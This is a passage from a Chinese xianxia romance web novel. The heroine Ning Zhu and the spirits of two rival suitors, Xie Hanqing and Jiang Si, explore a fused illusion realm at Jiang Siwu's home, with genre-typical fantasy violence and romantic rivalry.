不过他不确定这个幻境是只属于姜思无一人,还是还有其他人的幻境融合到一起? 宁竹已经是第三次进入幻境了。 小仙君的眉头微微蹙起,不知道她的身子还能不能承受住。 姜思无已经带着宁竹回了碧水瑶台。 刚把人抱进去,便有人语带嘲讽说:“哥哥又把什么人捡回来了?” 宁竹识海内的谢寒卿和江似同时看去。 是姜汐年,她挽着一个人的胳膊,站在门口。 两人的目光从她挽着的那个人脸上划过。 谢寒卿面无表情,江似却是笑起来。 隔着海浪,那猖狂快意的笑声都传了过去:“谢师兄,既然成了姜汐年的道侣,你不若就留在此处,温香软玉,倒也快活。” 江似身下的礁石猛然消失。 江似猝不及防落到水中,呛了两口水,才重 新凝出礁石。 他衣衫尽湿,眸底翻涌着暗色,但到底是没出手。 江似闭了闭眼,这是宁竹的识海,不能伤她。 谢寒卿的神识已经从姜汐年身旁的假谢寒卿身上穿过。 此人身上的气息属于姜汐年,也就是说,这是姜汐年的幻觉。 ……果然,幻境融合了。 姜思无很不待见姜汐年,他抬手拨开姜汐年:“让开。” 姜汐年看清了宁竹的脸。 她脸色一变:“宁竹?” 姜思无已经把宁竹抱进了屋子。 姜汐年追上来:“哥哥!你怎么能把她带回来!” 她跑得太仓促,这才注意到被她落在身后的假谢寒卿。 姜汐年有些心虚地看假谢寒卿一眼,对方并无任何反应,只是像一尊精致漂亮的琉璃雕像,一动不动站在原地。 姜思无瞥她:“去找寒卿,别来打扰我。” 他不客气地将门合上。 姜汐年碰了一鼻子灰,红着眼圈扑向假谢寒卿:“表兄!” 往日对旁人冷冰冰,只对自己温柔的谢寒卿此刻却用那双淡漠的眼注视着她。 姜汐年脚步迟疑。 为什么……今天的表兄看起来怪怪的? 她绝对想不到,谢寒卿的神识此刻就附着在假谢寒卿身上。 姜汐年抬起手,带着委屈说:“表兄……” 雪砌琼枝的小仙君,忽然眉心出出现一丝裂纹。 旋即他整个人如同一片被人撕成碎片的纸,四分五裂,血浆迸开。 姜汐年被溅了满脸的血,她迟钝地眨了下眼,忽然开始尖叫。 姜思无听到她的声音,不耐烦地推开门查看:“又怎么了?” 假谢寒卿炸开的地方连血迹都消失得干干净净,姜汐年人已经跑得没了影。 姜汐年一路往外跑,边跑边哭,有妖魔鬼怪扮成表兄来吓她! 她要去找表兄告状! 姜汐年一路跑到表兄居住的仙琅馆,推开门。 谢寒卿果然坐在窗边,手执剑谱,素雅得好似一幅画。 姜汐年哭哭啼啼跑过去,正要倾诉心中委屈。 坐在窗边的谢寒卿忽然再次以同样的方式化为血水。 一次,两次,三次。 第六次的时候,姜汐年跌倒在□□上,嚎啕大哭起来。 谢寒卿的神识飘浮在半空中,淡淡俯瞰着她。 他杀了谢寒卿六次,但姜汐年的幻境都没有出现任何坍塌的迹象。 不排除幻境融合的影响,但没有坍塌迹象……说明姜汐年的执念,并不是他。 姜汐年身上漂亮的法衣脏了,脸上更是沾染着星星点点的血迹,整个人哭成了一只花猫。 忽然有一个少年心疼不已扶起她:“姜师妹,你怎么了?” 姜汐年和谢寒卿同时看去。 那少年一身蓝衣,额头饰有一块月牙形的玉玦,长相温柔,眸中尽是关切。 姜汐年已经在崩溃边缘,她拉住莫云空的手,哭着说:“莫师兄,有,有鬼……” 此人乃是蓬莱岛岛主之子,莫云空。 莫云空恋慕姜汐年许久,只是近年来蓬莱岛式微,姜起林并不愿意把姜汐年嫁给他。 莫云空仔细检查了一圈周围,扶住她,柔声劝慰道:“姜师妹,没关系的,周围没有东西。” “我扶你回去。” “莫师兄,我,我扭到脚了。” “我背你吧……” 两人絮絮交谈着,很快离开。 谢寒卿浮在半空中,目送他们走远。 片刻后,谢寒卿操纵着神识回了碧水瑶台。 姜思无居住在晖灵台,谢寒卿在此处转了一圈,发现靠后的一排宅院里,居住着不少陌生人。 这些人一看便不是姜家的弟子。 但众人有一个共同点:他们看上去全都很病弱。 宅院里飘荡着浓重的药味,有人躺在床榻上苟延残喘,而他的隔壁房间里,就停放着一副精巧的棺椁。 无一例外,众人都得到了姜思无的细心照料,姜思无甚至连后事都为他们安排好了。 每个人的幻境都是自己的执念所形成的。 谢寒卿看罢,大抵猜到了为何姜思无的幻境会是这样。 表兄自幼身体不好,所以在这个幻境中,他会拥有一副强壮的身子,甚至有能力帮扶这些身子病弱之人。 他的神识飘回宁竹所在的院子。 院子里多出了两个女人。 一人身着浅杏色的长裙,生着一双漂亮的丹凤眼,整体气质却十分温和。 谢寒卿总觉得她有些眼熟,但又想不起来在何处见过此人。 直到他把目光转到另一人身上。 宁竹的识海中,谢寒卿倏然睁开眼。 那女子梳着妇人发髻,但打扮却十分明媚鲜妍,一身妃红色长裙,耳垂上缀着一对流光莹莹的南月珠。 她笑盈盈拍了拍身着杏色长裙的女子:“听说思无这次带回来的是个小美人呢。” 她的声音很清脆,宛如鹂鸟。 宁竹识海中,谢寒卿立在小舟之上,足下小舟摇晃不休,半空中的飞雪也仿佛被气流卷动,狂乱飞舞起来。 江似觉察到谢寒卿那边的动静,也分出一缕神识探出去查看。 谢寒卿一动不动盯着那个身着妃色长裙的女子。 没有人知道,他学会搜神术后的第一件事,便是找到那些从前侍奉娘亲的人,查看他们的记忆。 他记事时,娘亲早已离开。 多年前误入密室时,他曾在那里看到过娘亲留下的影像,只是留影石上的影像十分模糊,根本比不得亲近之人的记忆。 他就这么一点点,通过查看旁人的记忆,在脑海中拼凑出一个完整的娘亲。 ……她合该是这般明媚艳丽的。 像是枝头开得最炽烈的花。 谢寒卿又看向旁边身着杏色长裙的女子。 这是姜思无的幻境,那么这个女子…… 姜思无忽然推开了门,见自己的母亲和姑姑凑在一起嘀嘀咕咕,他露出几分无奈:“娘,姑姑,别编排我了。” “我这次带回来的是一个相熟的师妹,不是你们想的那样。” 姜沁月和裴宣影对视一眼,笑盈盈说:“好好好,我们不编排你了。” “宣影,我们走,听说泗水旁的九天夕颜开了,我们赏花去。” 她们二人成婚前就是手帕交,关系甚好,如果两人还活着…… 的确会像是今日这般,四处赏花游玩。 姜思无无奈地甩动了下发辫,似乎想起什么,离开了晖灵台。 谢寒卿的神识在半空中停顿了片刻,回到了宁竹的识海。 江似盯着那两个女人离开的方向,眯了眯眼。 姜思无的姑姑,不就是谢寒卿的娘亲? 他沉默片刻,脸上露出一种扭曲的,夹杂着嫉妒的笑。 那又如何?听说那位姜家大小姐早死了,这里的……不过是姜思无的幻觉。 江似跟着谢寒卿回了屋 姜思无已经为宁竹处理过伤口,宁竹此时还在沉睡。 少女青丝散开,脸色苍白。 江似盯着她看了片刻,正要用神识碰她的脸颊,忽然被一股力量狠狠拍开。 谢寒卿的声音传来:“别碰她。” 江似的脸色霎时阴沉下来。 神识归位,识海中,江似掌边又凝起一道飞旋的魔气。 谢寒卿淡声说:“你我杀不死彼此,又何必白费力气。” “还是你想让宁竹难 受。” 江似气得几乎要跳脚,他怨毒地盯着谢寒卿的方向,片刻后,他再度凝出一股神识往外探去。 得尽快找到离开宁竹识海的方法。 谢寒卿并不理会他,只是垂下眼睫,继续疗伤。 宁竹睡了很沉很沉的一觉。 甚至还做了个诡异的梦。 梦里她坐在花轿上,外面锣鼓喧天。 宁竹无聊地揪着衣服上的流苏,跟着轿子颠啊颠。 也不知过了多久,轿子停下。 轿帘被掀开,有两只手,同时探了进来。 宁竹愣了下。 外面响起两道不同的声音。 “宁宁。” “阿宁。” “手给我。” 他们的声音重叠在一起,宁竹猛然惊醒。 姜思无俯低身子看着她:“宁师妹,你醒了。” 宁竹对上那张古铜色的脸,闭了闭眼,又缓缓睁开。 姜思无仍在看她。 宁竹心如死灰。 好吧,她还在幻境中。 宁竹露出一个尴尬的笑:“姜师兄。” 姜思无给她倒了杯水:“宁师妹怎么会受伤?” 宁竹跟他解释不清楚,只能含糊说:“抓妖兽的时候受的伤。” 姜思无道:“你伤及心脉,要好好疗养,这段时间不要乱跑。” 宁竹感受了一下伤口的位置,惊疑不定。 这是在幻境,幻境里的药对她也有作用? ……不过也是,江似交给她的短剑都能让自己重伤,可能幻境里的药也是有作用的。 宁竹不再纠结这个,她试探着问:“姜师兄,你带我回来的时候,有没有在周围看见其他人?” 江似在现实世界中的魂灯已灭,出于谨慎,宁竹没有直接提江似的名字。 但让宁竹失望的是,姜思无摇头:“没有,只看到你一个人。” 宁竹的心不禁高高提起来。 谢寒卿和江似呢?幻境坍塌时他们三个分明在一起,自己现在又掉到姜思无的幻境了,那他们两个……会不会也在这里,只是还没被人发现? 不行。 她要出去找找。 谢寒卿好说,但寻找江似……一定得秘密进行。 宁竹很有耐心,一直等到姜思无找人来再度为她疗了一次伤,天色也暗沉下去,才偷偷摸摸溜出了碧水瑶台。 胸口处还有点痛,宁竹动作不敢太大,鬼鬼祟祟在周围寻找。 可惜姜思无把她带回来的时候,她已经昏迷了,宁竹溜达了一圈,也没找到她醒来时看见的那片树林。 淮水多春,柔水醉月。 脚下蜿蜒的河流在月色下波光粼粼,如同银带。 宁竹慢吞吞坐到河边的一块石头上。 周围灯火明媚,天上星辰灿烂。 每个人的幻境都如此真实。 宁竹忽然感觉好累。 她撑着石头,慢慢躺了下来。 她已经不记得进入归墟多久了,这些日子一直被困在幻境,没有任何进展。 宁竹叹了一口气,不禁怀疑她真的能找到音希山,真的能找到神鸟吗? 有人路过河边,看到她一个人躺在这,好心道:“这位仙子,可是身体不舒服?” 宁竹笑着说:“没事,我在看星星呢。” 路人放下心来离开了。 宁竹将手枕到脑后,叹了口气。 这幻境太逼真,要是一直出不去…… 宁竹被自己的想法吓了一跳。 不行。 在自己的幻境里时,她都那么坚定离开了。 怎么现在反而被侵蚀了意志。 这里的一切都是假的。 假的…… 宁竹忽然感觉空气微微波动。 似乎有一个人躺在了自己身边。 那人温柔地牵起她的手,注视着她。 宁竹愣了下,眼眸微微睁大。 身旁是空的。 什么也没有。 可是宁竹却感觉那人甚至轻轻替她拨了下鬓边的乱发。 宁竹缓缓抬起手,试探着,一点点伸过去。 谢寒卿低下头,脸颊贴住了她的手指。 宁竹感受到了。 她指尖微微颤抖:“你……是谁?” 谢寒卿的神识轻轻抬手,将她揽入怀中:“宁宁,是我。” 她什么也听不见,但她感觉到了。 对面是谁? 谢师兄?江似? ……还是又是她的幻觉? 江似的神识在外面游荡了一圈,因为有距离限制,他没办法离宁竹太远。 他循着宁竹所在的位置一路往回,脸上神色忽地一僵。 河边岩石上,宁竹侧躺着,被谢寒卿抱在怀中。 两人衣袖交叠,青丝相缠,姿势无比亲密。 血液逆流,直冲头顶。 江似抬手凝出一团魔气,朝着谢寒卿重重击了过去! 谢寒卿反应极快,挥袖一挡,魔气被打散,但还是有一点飞溅的魔气擦破了宁竹的脸颊。 宁竹愣了下,抱着她的那个人消失不见了。 颊边有点刺痛,她抬手,摸了下。 有血。 宁竹的识海中。 谢寒卿和江似立在高耸的海浪上,剑拔弩张。 江似阴恻恻地盯着他,掌心魔气翻涌。 在他就要祭出魔气的那一瞬,谢寒卿冷淡剔透的瞳孔转了下:“方才就伤害了宁竹,现在还不够?” 魔气却化作无数柄旋转的飞剑,颇有要将谢寒卿捅死的趋势。 怀卿剑嗡鸣着,一剑荡开那些小剑,又有灵力包裹着将魔气化开,以免坠入海中,让宁竹疼痛。 只是这么一来,难免束手束脚。 江似冷笑着,再度祭出万千条蠕动的小蛇朝着谢寒卿刺去! 谢寒卿接招的同时,他又抬手送出一批魔气凝成的毒蝎! 谢寒卿一边要化解魔气,一边又要防止魔气凝成的毒物坠入识海,有些应接不暇。 江似却仿佛要置他于死地一般,接连不断出招,不给谢寒卿任何喘息的机会。 谢寒卿忽然撤出了所有灵力。 魔气凝成的毒物和利器在半空中凝固了一瞬,纷纷往下坠落。 眼见马上就要接触到海面,江似面色一变,抬手一挥—— 一切归于平静。 第68章 谢寒卿淡声问:“出去一圈, 发现了什么吗?” 江似掌心的魔气慢慢消失了,他笑起来,没有回答他,反而换了个问题:“宁竹看得见谢师兄么?既然看不见, 谢师兄又在做什么无用功?” 谢寒卿身下海浪归于平静。 他坐到舟头, 开始闭眼打坐。 江似面色阴沉, 也回到了礁石之上。 他方才的确发现了一些东西。 这个幻境, 同样是融合幻境。 除了姜家兄妹, 江似至少还发现了数十个修士。 不同于幻境中幻觉凝成的人, 他能看到这些人的元神。 宁竹修为不高, 无法区分幻境中的人到底是被困的修士还是幻觉,但他和谢寒卿不一样。 只是看到的修士越多, 江似越心惊。 破除幻境的关键点在于找到执念,但现在, 那么多人的执念混在一起, 要破除幻境……单纯依靠破除执念是万万不可能了。 就在这时,一道带着试探的,细细的声音响起:“谢师兄?” 谢寒卿猛然睁开眼。 安静片刻,宁竹又唤:“……还是江似?” “你在吗?” 两人的目光直直撞到一起, 片刻后,两人同时分出神识,争先恐后往外飘去。 “……宁竹?” 一道耳熟的声音响起。 宁竹回过头,眼眸蓦地瞪大:“白,白晚师姐?” 白晚穿着一身紫色的留仙裙, 分明是修士的打扮。 她狐疑地走过来:“你怎么在这里?” 宁竹身旁,江似和谢寒卿齐齐看向她。 白晚……有元神。 这是真的白晚,不是幻觉。 宁竹表情忽然一变。 她感觉到有人拉住了她的手。 宁竹心虚地往旁边瞥, 只有空气。 她又悄悄观察着白晚的神色,白晚好像只是很奇怪为什么她会在这里,好像看不到她身旁的人。 宁竹松了口气。 但是很快,她的表情又凝固住了。 她觉察到……另一只手,也被人牵住了。 这个姿势……不像是同一个人同时牵住她的手。 倒像是两个人。 宁竹忽然生出一个大胆的想法。 ……难道谢寒卿和江似都在? 宁竹试探着,左右两只手都回握了下。 左侧那人缓缓掰开她的手,与她十指相扣。 而右侧那人,手臂也跟着贴过来,紧紧攥住她的手。 宁竹眼眸一点点亮起来。 左边是谢师兄,右边是江似! 白晚见她迟迟不说话,伸手扯她袖子:“宁竹,怎么不说话?” 宁竹吓了一跳,但见白晚没有任何异常,她松了一口气。 看来白晚感觉不到谢寒卿和江似。 她回过神来,看着眼前的白晚。 很奇怪,这是姜思无的幻境,为什么会遇见白晚? 宁竹试探着说:“白师姐是来找姜师兄的吗?” 白晚点头:“是啊,马上就是姜师兄的生辰了,我是来赴宴的。” “但你不是跟我说你后日才来吗?” 宁竹忙打圆场:“我有点事,所以提前来了。” 白晚也不甚在意,她亲亲热热挽起宁竹的手:“那走吧,正好一起去。” 宁竹觉察到拉住她的谢寒卿被人挤开了。 她愣了下,回头看。 江似牢牢抓着她的手,看着被挤开的谢寒卿,笑得很狂妄。 谢寒卿快步走过来,扯了下宁竹的袖角。 宁竹不动声色点了下头,示意她知道了。 于是三个人一左一右一后,簇拥着宁竹回到了碧水瑶台。 到门口的时候,她们刚好撞见姜汐年和一个长相温柔的少年并肩走在一起。 少年微微弯着腰,倾听她说话。 宁竹愣了下。 姜汐年身边的人,怎么不是谢师兄? 白晚开口:“这不是莫师兄吗?” 莫云空抬起头来,对白晚礼貌颔首:“白师妹。” 他的目光落到宁竹身上:“不知这位师妹是……” 姜汐年道:“宁竹,天玑山的弟子,我哥哥的朋友。” 她一副不想在这里耽搁的模样:“莫师兄,我们去吃那家藕花粉吧,晚了就要关门了。” 姜汐年伸手拉他。 莫云空对两人礼貌一笑,跟着她离开了。 宁竹一头雾水站在原地。 白晚冷哼一声,拉着宁竹往晖灵台走。 “姜师兄!我来了。” 姜思无含着笑的声音传出来:“白师妹来了?你姐姐……” 姜思无跨出门槛,眸光一凝,忽然凝出一股灵力,朝着宁竹直直击来! 白晚吓了一跳:“姜师兄!你做什么!” 谢寒卿和江似同时回到宁竹的识海。 宁竹感觉到拉住她的人不见了。 姜思无的灵力自然是打了个空。 宁竹掌心冒汗。 虽然知道以他们两人的修为,姜思无方才应该伤不到他们,但宁竹还是忍不住紧张。 白晚很生气:“姜师兄!你刚才干什么呢!为什么要对着宁竹出手……” 姜思无走上前来,在宁竹身边转了一圈。 他眉头紧蹙:“奇怪,我方才分明感觉到宁师妹身旁有两个人。” 宁竹心头一紧。 她都差点忘了,姜师兄和谢师兄一样,他们都是化神期修为。 也许方才他是真的觉察到了谢寒卿和江似的存在。 白晚偏头:“人?什么人?我怎么看不见?” 姜思无不放心,对宁竹说:“宁师妹,手给我。” 宁竹还在犹豫,姜思无已经捉住了她的手腕。 姜思无直直探入她的灵脉。 脉像清正,并无被邪祟入侵的迹象。 他放开她:“奇怪。” 姜思无思索片刻,从乾坤袋里取出一枚形如双鱼,通体呈彩色的玉佩递给宁竹:“宁师妹,你带着这个。” “祛邪祟,防妖魔。” 宁竹下意识摩挲了下小指上的那枚骨戒。 ……其实不用的,谢师兄之前送她这枚戒指不就有这个功效。 但她不好驳回姜思无的好意,只好接过:“谢谢姜师兄。” 出秘境后她还他便是。 白晚也围过来,思索片刻,也掏出一枚玉佩递给她:“宁竹,这枚玉佩也可以避妖邪,你带着。” 宁竹正要摆手,白晚狠狠瞪她:“姜思无的东西拿得,我的就不行?” 宁竹梗了下脖子,接过玉佩:“没有,谢谢白师姐。” 白晚这才转怒为笑,她抬手揉了一把宁竹的头发。 宁竹忽然生出点儿违和感。 ……白晚的一举一动,太不像一个幻觉了。 算上她自己的,宁竹已经进过三个幻境了。 幻境中的人与现实中很像,但仔细观察还是会发现一些端倪。 他们的行为举动,更像是幻境主人根据对他们的了解下意识设计出的。 简单点儿说,就是幻觉不会表现出那么强烈的主体意识。 但是眼前的白晚…… 白晚已经大摇大摆进了庭院,宁竹疑惑地看着她,忽然想到某种可能。 难道……这里也是融合幻境?! 白晚似乎注意到宁竹的视线,她回过头来:“宁竹,愣着干嘛,快进来呀。” 宁竹掩下心底的惊涛骇浪,跟了上去。 半个时辰后,宁竹回到了自己的房间。 方才白晚拉着她下棋,她心不在焉,白晚仿佛也看出来了,宁竹只好推脱自己有点累了,于是溜之大吉。 宁竹把房门关好,又布下几个结界,开始焦急呼唤:“谢师兄?江似?” 宁竹的手被人握住,又是一左一右。 她松了一口气,太好了!谢师兄和江似都在! 宁竹指着她向姜思无要来的指笔说:“你们没办法说话,写字总可以吧?” “现在到底是什么情况,你们写字!” 搁在笔山上的毛笔飞了起来。 像是有人凭空握住。 忽然有另一股力度撞击过去,毛笔被夺走。 啪。 墨点子甩了宁竹满身。 那两人似乎还在争夺这那根毛笔,毛笔忽地往左,忽地又往右。 墨点飞溅。 宁竹实在受不了了,她重重一拍桌案:“你们一个一个来!” 毛笔倏然停顿住。 江似趁机夺走毛笔,在纸上飞快写下几行字。 片刻后,毛笔被放下,有人讨好地拽了下她的袖角。 宁竹凑过去看。 她的脸色变得微妙起来。 嗯…… 纸上的字堪称一个惊天地泣鬼神,就是……宁竹一个也看不懂。 修真界可没有九年义务教育,修炼的目的也不是考大学,而是修炼。 所以很多修士都写得一手烂字,很显然,江似就是其中一个。 宁竹知道江似出身不好,一个要靠摆摊维持生计之人,又哪有机会学得一手好字。 怕伤到他的自尊,宁竹咳嗽了下,面色自然说:“嗯,谢师兄,你也补充下吧。” 毛笔又动了。 谢寒卿的字,金钩贴画,漂移潇洒,把江似那手狗爬一样的字衬得惨不忍睹。 谢寒卿言简意赅,短短一句话,便让宁竹清楚了现在的情况。 原来他们被困在自己的识海了。 这也太奇怪了。 宁竹又说:“你们两个没受伤吧?” 毛笔动了。 “无碍,勿念。” 而属于江似的狗爬字却迟迟没出现。 宁竹唤了一声:“江似?” 没有人扯她衣袖。 宁竹狐疑,又唤:“江似,你人呢?” 江似盘腿坐在礁石上,脸绷得很紧,唇也死死抿着。 宁竹眼睫颤了下,猜到了什么。 ……那么敏感吗?不就是字写得不如谢寒卿。 那可是谢寒卿诶,两大世家之后,琴棋书画样样精通自然是很正常的。 修真 界不是唯修为论吗,字写得不如他也没什么……等等,同龄人要跟谢寒卿比修为? 宁竹沉默了。 好吧,就当没有注意到。 装聋作哑就行,嗯。 宁竹知道江似听得到她说话,于是说:“你们没事就好。” 她把她的猜测说了,忧心忡忡道:“我怀疑这里也是融合幻境。” 毛笔又动了。 “宁师妹猜测得不错,此处正是融合幻境。” 毛笔没有停下,又写:“目前已经发现不下数十人了,姜思无,姜汐年,白晚,莫云空,这几人都是本人,而非幻觉。” 宁竹的眼眸倏然瞪大,多,多少? 数十人?! 宁竹阵阵发晕。 她摇头:“看来破除执念这个办法是不能用了。” 要找到那么多人的执念并且一一破除,简直是天方夜谭。 宁竹觉得很奇怪:“那么多幻境,为什么会融合到一起?” “暂时不知道原因。” “宁宁别怕,我们慢慢探查原因。” 宁宁。 宁竹脸颊有点热。 她还没从谢寒卿的幻境里出来多久,她现在看不得这两个字。 宁竹咳了一声:“一会天黑了我出去继续查探下线索。” “不,宁宁呆在屋子里就行。” “我的身体在恢复,可能再过一夜,便能跟你对话了。” 宁竹一喜,也顾不得他又唤她宁宁的事了,忙说:“真的吗!到时候你们就能出来了?” 谢寒卿似乎沉默了片刻,毛笔又开始动起来。 “应该出不来,但可以分出神识,宁宁,你就呆在这里,等明天,我们再一同出去查探破除幻境的线索。” 宁竹点点头。 那就等能跟他们对话了再说,否则她就成了聋子,多不方便。 听说结丹之后便能自由进入自己的识海,要是这样的话,也不至于像现在一样,连对话都那么艰难。 还是怪自己太菜了。 菜鸡就要有菜鸡的觉悟,宁竹舒舒服服铺好了被子,决定等明天再说。 她熄了灯,对着空气说:“那我就睡啦。” 宁竹的识海中,江似难得安静。 谢寒卿坐在小舟之上,听着少女渐渐变得绵长均匀的呼吸,闭眼打坐。 江似坐在礁石上,用魔气凝出一只笔,在空气中书写。 ……他头一次发现自己的字那么难看。 像是被踩了尾巴的猫,魔气被打散,江似咬牙切齿躺到了礁石上。 不就是几个破字! 片刻后,江似忽然直起身。 他直勾勾地盯着海浪对面,继续凝出魔气,开始练字。 这一觉宁竹睡得很沉。 或许是还有伤在身的缘故,也或许是知道谢寒卿和江似都在身边的缘故,她睡得很放心。 天色蒙蒙亮起。 周遭都陷在一片幽暗的蓝中,仿佛深海。 忽有一只手轻轻将宁竹圈到了自己怀中。 神识的触感很独特,能觉察到对方,但又不似实体那般有存在感。 睡梦中的宁竹只觉得自己陷在一片绵软之中,她鼻音浓重,轻轻蹭了蹭对方。 不知何时,另一只手从后方缠住了宁竹的腰。 试图将少女往自己怀里拉。 又如何能相让? 两人都不想弄醒宁竹,也没办法在识海中动手,只能无声对峙。 若眼神能成为实质,早已将对方千刀万剐,化作灰飞。 宁竹便被两个人一左一右,半搂半抱着。 天色一点点亮起来了。 幽蓝的海水褪去,柔软的光慢慢浸到屋中,一切都被渡上一层蜜色。 两人同时看着身下的少女。 她温软的睫毛轻轻颤动着,发梢细碎的金光如同流星坠落。 少女鼻尖挺巧,唇瓣柔软,就连脸颊上细细的绒毛都无比可爱。 两双眼睛,一动不动地凝视着她。 ……她是我的。 两双手都在慢慢收紧,恨不能无声融化她的骨血,叫她与自己融为一体。 少女娟秀的眉轻轻蹙了下。 谢寒卿和江似同时松开手。 但已经晚了。 宁竹揉了揉眼睛,迷迷糊糊睁开眼:“江似?” 这般顽劣,除了他又能是谁? 但很快,宁竹觉察到左侧也躺着一个人。 她声音有点哑:“谢师兄,你也在吗?” “宁师妹。” “宁竹。” 两道声音同时响起。 宁竹愣了下,开心道:“太好了!你们能跟我说话了!” 三人挤在一张小小的榻上,拥挤不堪。 宁竹看不到两个人,只是觉得身子有点沉,她跳下床榻,活动了下,迫不及待说:“我们现在就出去探查一下线索?” 谢寒卿上前牵住她的手:“好。” 江似哪甘示弱,也贴上去,牢牢抓住她的手:“走啊。” 又是一左一右。 ……有点怪怪的。 宁竹问:“别人看得见你们吗?” “化神期以上的修士可能会有所察觉,我们及时回到你的识海便是。” 宁竹又问:“他们听得到你们的声音吗?” “听不到,宁师妹,放心。” 宁竹不自在地抽出自己的手:“现在我能和你们直接对话了,就不用这么牵着了。” 谢寒卿和江似的掌心同时空落下来。 宁竹率先推开门走了出去。 江似咬了下牙,对着谢寒卿暗骂一句,忙追了上去。 谢寒卿垂眸,也跟上了宁竹。 不料他们才出晖灵台就遇见了姜汐年,她打扮得花枝招展,坐在秋千上,似乎在等什么人。 宁竹礼貌地朝她打招呼:“姜师姐。” 姜汐年的眸光落到她身旁。 宁竹心里一惊,姜汐年却忽然开口:“听说宁师妹昨天招了鬼?” 宁竹:? 姜汐年似乎想起什么,脸色变得有点难看,但仿佛又有什么东西在修正她的记忆。 最后她幽幽说了句:“最好呆在这里,别往外晃,真招惹了不干净的东西,没人护得住你。” “汐年。” 莫云空出现在门口。 姜汐年从秋千上跳下来,开开心心跑过去:“莫师兄!你来啦!游船已经准备好了,就等你来呢。” 莫云空忽然抬手,往她发鬓间簪了一朵还带着晨露的绒云花。 少年笑得温柔而腼腆:“来的路上看到一簇开得正好的绒云花,耽搁了点时间。” 姜汐年碰了下绒云花,眼波流转,神情欢喜:“我很喜欢。” 她主动牵起他的手,柔声说:“云空哥哥,我们走吧。” 宁竹目瞪口呆看着他们离开。 她忍不住说:“……不是说姜师姐也是本体吗?” 宁竹的眼神暗戳戳飘往左边。 谢寒卿仿佛感应到她的目光,淡声说:“汐年的执念并不是我。” 与此同时,有一双手轻轻牵起宁竹,一点点掰开她的手指,十指相扣,握得很紧。 谢寒卿什么都没说,但宁竹仿佛听到他在说。 我的执念……是你。 她耳尖有点发热。 第69章 宁竹抽出了自己的手。 努力让自己忽略加快的心跳。 姜汐年已经拉着莫云空离开了。 宁竹看着他们的背影, 恍然大悟,难怪她昨天还看到姜汐年和谢寒卿在一起,今天就是和别人在一起了。 ……可是如果姜汐年的执念不是谢寒卿,那她怎么会为了救谢寒卿而死在归墟里? 好吧。 反正现在剧情已经彻底崩了, 宁竹很快想通了。 三人离开了碧水瑶台, 宁竹说:“既然是融合幻境, 那说明我们可以去的地方不止于淮水, 要不要往外走走?” 江似:“可以, 淮水已经没有什么线索了。” 宁竹很是犯愁, 可是往哪里走呢? 就在这时, 谢寒卿的眸光看向某个方向。 他忽然怔住。 “宁师妹,我的生辰宴就要开始了, 你要去哪?”姜思无的声音响起。 宁竹吓了一跳,但见姜思无没有露出异样的神情, 她又松了一口气, 看来谢寒卿和江似都回她识海了。 她正思索着借口,耳边忽然传来一道声音:“宁师妹,先不走。” 宁竹松了一口气,忙说:“没有, 我就是溜达一下而已。” 谢寒卿的语气忽然有点着急:“宁师妹,跟着前面那个穿蓝衣服的人!” 宁竹不知道发生了什么,只能急匆匆道:“姜师兄,我想起来还有点事,我要去那边一趟!” 也顾不得姜思无的反应, 宁竹提起裙摆便开跑。 那蓝衣男子速度极快,时不时停下来 ,在路边的商铺买些东西, 宁竹躲躲藏藏一路坠在他身后,才没将人跟丢。 最后那男子脚下一转,竟然朝着碧水瑶台的方向走去。 宁竹愣了下,问谢寒卿:“谢师兄,我们还要跟吗?” 谢寒卿沉默了片刻,声音沙哑:“宁师妹,你先回晖灵台休息吧。” 宁竹听出他的声音不太对劲,但宁竹并不是打破砂锅问到底的人,她只是点了点头:“好,我先回房间。” 她也看不到谢寒卿,在原地停留片刻,朝着反方向离开了。 江似懒洋洋的声音响起:“真耽误事。” 宁竹回头看了一眼,小声说:“谢师兄肯定是有什么事情。” 江似似笑非笑:“什么事能比破除幻境的事重要?” 宁竹想到谢寒卿的元神还困在自己识海中,他们两个说什么谢寒卿都是能听到的,试图阻止江似:“好啦你不要再说了,也不差这一时半会。” 江似回忆着那个男人的容貌。 ……总觉得对方看起来有点眼熟。 在哪里见过呢? 江似想了想,实在是想不起来。 但谢寒卿那么反常,不跟上去看看怎么能行? 江似正要神不知鬼不觉地跟过去,忽然传来宁竹的声音:“江似!你不许去!” 江似的神识在半空中僵硬了一瞬。 他道:“我不去啊。” 宁竹脸颊微微鼓起:“不许分出神识!” 元神留在这里和她说话,又分出一缕神识跟上谢寒卿,对他来说并不算难事。 但……江似戳了下她的脸颊:“行吧,我不去。” 宁竹眼睛霎时瞪圆了。 可爱的要命。 江似手指有点痒,又戳了一下。 宁竹烦不甚烦,一巴掌拍了过去。 啪。 两人同时怔住。 空气微微波动,江似的轮廓若隐若现。 宁竹试探着碰了碰,惊道:“江似!我能看见你了!” 江似感应了下,眉头蹙起。 宁竹识海中,谢寒卿消失不见了。 他们可以脱离宁竹的识海了? 江似不想再等,立刻说:“好像可以离开你的识海了,你等等,我试一试。” 他正要往外走,宁竹从后面拉住他的袖角,一脸怀疑看着他。 江似气笑了,曲起手指往她脑门上轻轻一叩:“当我什么人呢!” 他咬牙切齿:“我只是试试看能不能离开你的识海,谁要去跟踪他。” 宁竹试探着说:“那我相信了哦。” 江似又气又愤,抬手狠狠揉了一把她的头发:“等着!” 宁竹顶着一头被揉得乱蓬蓬的头发,看着江似抛出飞剑,消失在半空中,默默计数。 刚数到一百,忽有一道身影狼狈跌在她面前,仿佛是瞬移过来的。 宁竹看清对方的脸,蹲下身子:“你怎么回来那么快?” 江似眼神一沉:“不行,还是不能离你太远。” 他仿佛有点纳闷:“到一定距离,会忽然被拉回来。” ……好像狗绳啊。 宁竹死死绷着嘴角,但还是忍不住笑出了一点声音。 江似抬起一双黑沉的眼看着她:“笑什么。” 宁竹绷着脸,故作疑惑:“没有,只是很奇怪。” 她笼在袖中的手暗暗掐着自己的掌心,憋笑憋得脸都红了。 江似忽然抓住她的手,自然看见上面深深浅浅的指甲印。 少年眯了眯眼,想到什么这么好笑? 宁竹试图抽出她的手。 江似却紧紧握住,开始挠她掌心:“在笑什么?” 宁竹怕痒,忍不住道:“你放开!” 江似手下不停,宁竹痒得受不了,终于忍不住说:“你放开我我就告诉你!” 江似手下动作一顿:“当真?” 宁竹理直气壮点头:“当然!” 江似一点点松开手,宁竹看准时机,扭头就跑! 不料江似动作更快,扯着宁竹的衣带便将人往回拽。 宁竹重心不稳,直直往后仰倒。 江似摊开手抱住她,两人跌到地上。 四目相对。 少年马尾松散,少女发髻蓬乱。 江似忽然抬手,抚了下她的脸颊。 那双黝黑的眼定定看着她:“宁竹。” 